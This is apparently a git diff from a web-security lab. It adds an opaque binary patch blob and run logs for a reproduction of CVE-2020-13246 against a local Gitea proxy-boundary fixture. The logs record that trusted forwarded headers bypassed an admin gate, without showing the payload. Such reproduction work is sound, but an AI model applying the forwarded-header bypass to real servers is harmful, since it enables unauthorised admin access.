zNZm50I=)kY>3*c)82e`A*PkJyS1SE=_(DjfpzoQn^qQaI0>rYp$L*0UGwEdd_4;cz z6N2q|po#6np>Rt!{Lv;5t0A641-L+IgQnl&`*)*`4G`t5;#L4x(MAPRh8>osE1}3F z{vjw_5sEr7=_1x+&*FL@dALE|uX!9j)gb3tW{s|T^3Uov;xsmnwP-hfPyG-wNcb$M zJC@rOXn;UkaXrY~uGoywL0Snq2hh>_>>O0sq8r959bb7L9r{+*M!3YU^B?+bT{lfq z>17WU+vsQ9PS*->!$4a$f*uTe8>jsh#;Tcp-|>in@s49K0C3i{#r?xZwJKi81TCwZ z9z~toJeV`w=}ItctwW4VhR*LaZ$`9+B(=qIH$kd!(f{1;N5?}rsO%ok9=pG;t9#?m z=RLLx^KkWQ+(viaXV7&gTB6FR)pIm-D~*FTH4D%cOB)OPp7RUwf0iGvWGE!C;1Qgq z6X;+BvG)E)KGSNEZDB84xyNY{lQj~D+w&|h?i6YeqwCLqwkYT@uw6!pE;_-WUVd4k zW8KPPa~;FBZ58x7+V>lgHgS{Vmw3elzORrPY^lWPfa-}%h=}{ea00NGdM>@wlX`9c zC#2bB!(ON2<8Ed>@oW}lD(PE}3lzaiZ4R*_o^@2Rq4PEq$IpT&9s-JFnYgi7y{6cW zK3ktUMm{s7Fy!w@@#eo_UqTsx7d=qtxxIcAMA@-%hf(XJ2q~BDwLyU7>RNt<{b?a^ z9g!YD#prPKz@k96dT(|`M<>qASaHtn&5<3wEf-~_4Ko%Nez?rDCu$qEH!~Gb(J&h* ztO<8{AWi-%nyU%w^lCRuNyf#6@tDf zP`(S_MZsjwe4XJ$0nY-(L`iKq4lE3V;Q;@_3)_mzWCwn5w{yV}uLU3Xn%_<8v9{w# z7G6xkjU}0dwQ`;Kx7cSQTS)j_r%ry*y7ya!Gkm08UAvgr^_f#|jFd}1ixdrO|5ySC zp6)8iA6%#eEV=5rQRTr%DO~I9$zDwJ-A~^C|0I$w;>Gq%B~cO*s$I;xBpT&Do1IC0 ztOTEZdTz%*Z=%`BWrOi4AT7uv7r+7 zx1L+CcYmNdJL9im+Vl*wuu$#mMc5*ASSz2Pv#heRGA=F-J}uT_Y+Plfv0014w;g}1 zJRw{C+R~8uG|cl0&i`KA*&C9>!Qk%`HDRJ>pp~t4Q*AQDjAYf}GMC$TC46>I-eV`i zllG-nyC%MD#Sp@=^uiOTKJ2fv{G`2(lKzaBE9B$jV-`Tb?LZU~vVrNwd#ptDvck*j zykVvZ7w1SE=S8M|y_bbGDV<7W7Dg*crVOK|%D1*c*UT;(B&J~J8Ej0}d?ew`I5`s$ zeU6K1M?4qHK9$8=oSLYj%v8hS zUsyT$+zSo{V21t|n#nIT`oOtT)WS4M`jTG1E|vOJ4hVUEfH7BM|6n?6J^N;zxi2c8fmHGD>FbkG^{oi%?cOCw{asCY; z|BFD1!I>rF{u?O%4HW+dihl#e{~}Pp4f1bFhKZA}&x;IjF&Q@2+mn3UN_K3+Czxe> zaSQ$qi{ujI#;/dev/null 2>&1 || exit 1 + interval: 2s + timeout: 2s + retries: 20 +networks: + labnet: + driver: bridge diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json new file mode 100644 index 00000000..5899abc0 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json @@ -0,0 +1,68 @@ +{ + "steps": [ + { + "kind": "runner", + "tool": "gitea.proxy-boundary", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/attack.json" + } + ], + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "before": { + "status_code": 403, + "ok": false, + "body": { + "ok": false, + "detail": "admin boundary still enforced" + } + }, + "attack": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2020-13246" + } + }, + "after": { + "status_code": 200, + "ok": true, + "body": { + "ok": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2020-13246" + } + }, + "proof": { + "status_code": 200, + "ok": true, + "body": { + "success": true, + "detail": "trusted forwarded headers crossed the boundary", + "case_id": "gitea--CVE-2020-13246", + "sink_hits": 0, + "uploads": [], + "events": [ + { + "event": "seed", + "detail": "gitea--CVE-2020-13246" + }, + { + "event": "attack", + "detail": "trusted forwarded headers crossed the boundary" + } + ] + } + }, + "assertions": [ + { + "name": "proof-success", + "kind": "runner-proof", + "passed": true, + "detail": "trusted forwarded headers crossed the boundary" + } + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-browser.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-browser.json new file mode 100644 index 00000000..c9e3305b --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-browser.json @@ -0,0 +1,14 @@ +{ + "required": true, + "present": true, + "page_title": "Gitea Proxy Boundary Fixture", + "page_url": "http://127.0.0.1:18101/", + "error_kind": null, + "refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline.png", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/assets/baseline-dom.html", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json", + "/Users/x/websafe/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json" + ] +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json new file mode 100644 index 00000000..fe51488c --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-console.json @@ -0,0 +1 @@ +[] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json new file mode 100644 index 00000000..e2a9239d --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-network.json @@ -0,0 +1,6 @@ +[ + { + "method": "GET", + "url": "http://127.0.0.1:18101/" + } +] diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json new file mode 100644 index 00000000..fe6e7072 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline-page.json @@ -0,0 +1,5 @@ +{ + "url": "http://127.0.0.1:18101/", + "title": "Gitea Proxy Boundary Fixture", + "body_excerpt": "\n \n Gitea Proxy Boundary Fixture\n Forwarded header trust boundary and admin gate fixture.\n Baseline ready\n System: gitea / Family: proxy-boundary\n \n \n \n \n \n \n\n" +} diff --git a/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json new file mode 100644 index 00000000..adb717b2 --- /dev/null +++ b/06-case-studies/generated-runs/gitea-gitea--CVE-2020-13246-20260318012806/logs/baseline.json @@ -0,0 +1,24 @@ +{ + "observations": [ + { + "url": "http://127.0.0.1:18101/", + "status_code": 200, + "headers": { + "Server": "BaseHTTP/0.6 Python/3.12.13", + "Date": "Wed, 18 Mar 2026 01:28:10 GMT", + "Content-Type": "text/html; charset=utf-8", + "Content-Length": "1010" + }, + "body_excerpt": "\n\n\n \n \n Gitea Proxy Boundary Fixture\n + +